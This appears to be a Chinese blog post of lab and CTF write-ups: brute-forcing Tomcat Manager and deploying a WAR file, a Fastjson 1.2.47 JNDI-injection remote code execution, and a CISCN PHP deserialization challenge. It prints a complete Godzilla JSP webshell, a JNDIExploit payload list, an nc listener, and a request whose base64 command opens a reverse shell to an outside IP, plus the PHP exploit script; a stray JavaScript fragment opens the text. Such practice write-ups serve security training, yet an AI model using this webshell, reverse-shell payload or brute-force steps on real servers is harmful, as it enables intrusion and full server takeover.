2. !==(不全等,严格比较),即存在不等的方面,要么值不等,要么类型不等

    同时比较值和类型。

    如果两个值的类型不同,直接返回 true(不相等)。

    例如:"5" !== 5 返回 true,因为一个是字符串,一个是数字,类型不同。

Tomcat Manager - 恶意文件上传

Tomcat Manager 是 Apache Tomcat 服务器提供的管理后台,用于动态部署、卸载和管理 Web 应用(通常通过上传 .war 文件实现)。其漏洞核心在于:若管理员未修改默认弱口令(如 tomcat:tomcat)或未限制访问权限,攻击者可利用弱口令爆破或直接登录后台,上传包含恶意 JSP 木马的 .war 文件。Tomcat 会自动解压并部署该文件,将木马释放到 Web 目录(如 /xxx/shell.jsp),攻击者通过访问该路径即可执行任意系统命令,完全控制服务器。

进入Manager app

image-20250912110133049

弱口令登录

image-20250912110210279

或者用无影Tscan工具的密码破解模块

将靶机域名填入目标框内,在勾选爆破目标 Tomcat ,端口修改为靶机开放的端口。修改好后即可开始爆破,最终得到凭据:tomcat / tomcat

image-18

第二种就是通过重放数据包来进行爆破,在认证的时候,随便输入一组账号密码,点击后登录进行抓包,在HTTP数据包中有请求头:Authorization: Basic YWRtaW46YWRtaW4=,其中YWRtaW46YWRtaW4=则是账号密码的base64后的值,解码后为:admin:admin。也就是说只将爆破的账号密码组合为:<账号>:<密码>后进行base64编码,就可以对目标进行爆破。

在BurpSuite中,可以将登录请求的数据包发送到Intruder模块,对字段进行编辑后进行爆破,详细操作看下面视频。最终得到凭据:tomcat / tomcat

进入到后台后,可以上传包含恶意 JSP 木马的 .war 文件,Tomcat 会自动解压并部署该文件,将木马释放到 Web 目录,比如上传一个 api.war ,那么就会将文件自动解压到 /api/

制作WAR包也很简单,首先准备好一个你要释放到目标服务器的JSP文件,可以是WebShell,也可以是简易命令执行代码。我这里准备一个哥斯拉的WebShell JSP文件,命名为 api.jsp

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

然后执行命令:**jar -cvf api.war api.jsp** ,就会生成api.war文件了。

image-20250912111103628

image-20250912111125834

image-20250912111202301

我们制作WAR包的JSP文件名为:api.jsp,所以访问 /api/api.jsp 即可访问到我们制作好的JSP文件

连接WebShell的URL:/api/api.jsp,可以发现连接成功

image-20250912111301976

Fastjson 1.2.47 远程代码执行

Fastjson 1.2.47 远程代码执行漏洞(CNVD-2019-22238)的核心在于其反序列化机制缺陷与黑名单绕过手法的结合。攻击者可构造包含特殊 @type 字段的恶意 JSON 数据,利用 Fastjson 的 全局缓存机制 绕过 AutoType 白名单限制:当首次通过特定语法(如 Lcom.sun.rowset.JdbcRowSetImpl;)加载高危类后,该类会被缓存,后续即使关闭 AutoType 仍可通过缓存直接实例化。结合 JNDI 注入,攻击者将 dataSourceName 指向恶意 LDAP/RMI 服务(如 ldap://attacker.com/Exploit),触发目标服务器连接攻击者控制的远程地址并加载恶意类(如 Exploit.class)。该漏洞的爆发需要同时满足:

  1. Fastjson ≤1.2.47;
  2. JDK 版本低于 8u191(未限制远程类加载);
  3. 目标存在对外暴露的 JSON 解析接口。成功利用将导致 远程代码执行(RCE),攻击者可完全控制服务器,进而窃取敏感数据、部署挖矿木马或横向渗透内网,危害等级为高危。

首先访问首页,点击左上角的登录按钮出现登录表单,表单内随便输入内容提交后进行抓包。

image-37

image-38

image-20250912142243276

构造 POST 数据,删除末尾的大括号使其报错,发现是标准的 fastjson 后端

image-20250912142351268

修改POST的Body体为如下数据,在 dnslog.cn / dnslog.org 上接收到请求,证明漏洞存在。

{
  "@type":"java.net.Inet4Address",
  "val":"6c6b0fb9.log.dnslog.myfw.us"
}

image-20250912142634521

准备一台带公网IP的VPS,通过 【JNDI注入利用工具】JNDIExploit 工具架设恶意JNDI服务

建议使用JDK8开启此服务,否则可能出现利用LDAP时服务端报错

快速开启JNDIExploit服务端,默认开启LDAP服务1389端口HTTP服务3456端口,绑定<出口IP>

服务端输入命令**java -jar JNDIExploit-1.3-SNAPSHOT.jar -u**查看支持的JNDI注入格式,或者查看以下列表

Supported LADP Queries
* all words are case INSENSITIVE when send to ldap server

[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://127.0.0.1:1389/Basic/Dnslog/[domain]
    ldap://127.0.0.1:1389/Basic/Command/[cmd]
    ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/Basic/TomcatEcho
    ldap://127.0.0.1:1389/Basic/SpringEcho
    ldap://127.0.0.1:1389/Basic/WeblogicEcho
    ldap://127.0.0.1:1389/Basic/TomcatMemshell1
    ldap://127.0.0.1:1389/Basic/TomcatMemshell2  ---need extra header [Shell: true]
    ldap://127.0.0.1:1389/Basic/JettyMemshell
    ldap://127.0.0.1:1389/Basic/WeblogicMemshell1
    ldap://127.0.0.1:1389/Basic/WeblogicMemshell2
    ldap://127.0.0.1:1389/Basic/JBossMemshell
    ldap://127.0.0.1:1389/Basic/WebsphereMemshell
    ldap://127.0.0.1:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
    ldap://127.0.0.1:1389/Deserialization/URLDNS/[domain]
    ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
    ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils2/TomcatEcho
    ldap://127.0.0.1:1389/Deserialization/C3P0/SpringEcho
    ldap://127.0.0.1:1389/Deserialization/Jdk7u21/WeblogicEcho
    ldap://127.0.0.1:1389/Deserialization/Jre8u20/TomcatMemshell1
    ldap://127.0.0.1:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
    ldap://127.0.0.1:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells

[+] TomcatBypass Queries
    ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]
    ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]
    ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho
    ldap://127.0.0.1:1389/TomcatBypass/SpringEcho
    ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell1
    ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell2   ---need extra header [Shell: true]
    ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries
    ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]
    ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
    ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell
    ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

使用案例:

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i <你的机器IP>

image-20250912144340063

接着在公网VPS上开启NC监听服务,用于接收反弹Shell

nc -lvp 7777

构造如下数据包,将dataSourceName中的LDAP地址换为自己公网服务器的LDAP地址,其中需要将ldap://101.201.58.13:1389/Basic/Command/Base64/bmMgMjcuMjUuMTUxLjIwMSAxMjM0NSAtZSAvYmluL3No中的bmMgMjcuMjUuMTUxLjIwMSAxMjM0NSAtZSAvYmluL3No进行base64解码,然后将IP和NC监听端口改为自己设定的,然后重新base64编码进行替换。

PS:由于靶机无法进行sh反弹,只能使用NC

POST /login HTTP/1.1
Host: node.hackhub.get-shell.com:58072
Content-Length: 322
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Content-Type: application/json; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: http://node.hackhub.get-shell.com:58072
Referer: http://node.hackhub.get-shell.com:58072/tologin
Accept-Encoding: gzip, deflate, br
Cookie: admin_session=a7d5dad3c6a70941c6ee1f72570b29b4
Connection: keep-alive

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://139.9.198.57:1389/Basic/Command/Base64/bmMgMTM5LjkuMTk4LjU3IDc3NzcgLWUgL2Jpbi9zaA==",
        "autoCommit":true
    }
}

image-20250912150542713

[CISCN 2023 华北]ez_date

一、打开题目

 <?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code'])); 

代码审计一下

if(is_array($this->a)||is_array($this->b))
    
#禁用了数组绕过
#这里直接让a=1,b='1',就可以绕过三个条件,这俩md5和sha1都是一样的

$content=date($this->file);

#  $content接受经过被date函数格式化后的变量file
#	date()的说明:
#	该方法会检测传入的字符串中是否有特定的格式化字符,如Y(年份)、m(月份)、d(天)、H(时)、i(分钟)、s(秒)等
#    检测存在则会将格式化字符替换为当前时间的对应部分,否则将字符进行原样输出,同时可用转义字符将格式化字符原样输出

$uuid=uniqid().'.txt';

# uniqid()生成一个时间戳,将生成的时间戳拼接.txt给$uuid

$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
    开头的“/”和i前的“\”表示正则表达式语法的开始和结束
    (\s)* :匹配零个或多个空白字符(空格、制表符等)
    (\n)+ :匹配一个或多个换行符
    (\s)* :再次匹配零个或多个空白字符
    i :修饰符,表示不区分大小写

正则表达式会将上述空白字符和换行符都替换为空字符串。
file_put_contents($uuid, $content); 是 PHP 中的一个函数调用,用于将一个字符串(内容)写入到一个文件中。这个函数简化了文件打开、写入和关闭的过程。这里是这个函数的基本解释和参数说明:

    file_put_contents($filename, $data, $flags = 0, $context = null)
        $filename ($uuid 在此例中):你希望写入内容的文件路径和名称。在这个例子中,$uuid 应该是一个包含唯一标识符(由 uniqid() 生成)加上 .txt 扩展名的字符串,用于创建或覆盖一个具有唯一名称的文件。
        $data ($content 在此例中):你要写入文件的数据,可以是任何字符串。
        $flags:这是一个可选参数,用于指定如何写入数据,比如 FILE_APPEND 可以用于在文件末尾追加内容而不是覆盖。默认是 0,表示覆盖模式写入。
        $context:也是一个可选参数,通常用于提供特定的上下文选项,比如HTTP、FTP等上下文。在大多数情况下,这个参数不需要设置。

所以,file_put_contents($uuid, $content); 这行代码的作用是把变量$content中存储的字符串数据写入到一个新创建的、以其UUID为名字(加上.txt后缀)的文件中。如果文件已存在,它将被覆盖;如果要追加内容而不是覆盖,可以传递 FILE_APPEND 作为第三个参数。

如果你直接给是给/flag,那么经过data函数后

<?php
$c='/flag';
print(date($c));
?>

运行一下得到/fThursdaypm11 ,date()会把特定字符格式化为当前时间戳,比如这里,把l换成了星期四Thursday a 换成了pm g换成了时间11

本题的思路就是,令file="\f\l\a\g" ,因为有反斜杠转义,所以经过date函数后,l和a和g并没有表示成特殊的含义,输出后是我们想要的flag字符串。接着生成随机名xxxxxx.txt文件,将"/flag"字符串放进xxxxx.txt文件中。然后从xxxxx.txt文件中把提取内容赋给data,data="/flag",然后正则过滤data的值,过滤掉\n也就是换行符,接着file_get_contents("/flag"),然后就得出根目录下flag文件的内容了

exp

<?php

class date{
    public $a=1;
    public $b='1';
    public $file="/\f\l\a\g";

}
$exp=new date();
echo urlencode(base64_encode(serialize($exp)));

image-20250414183203151

posted @ 2025-09-26 15:42  破防剑客  阅读(43)  评论(0)    收藏  举报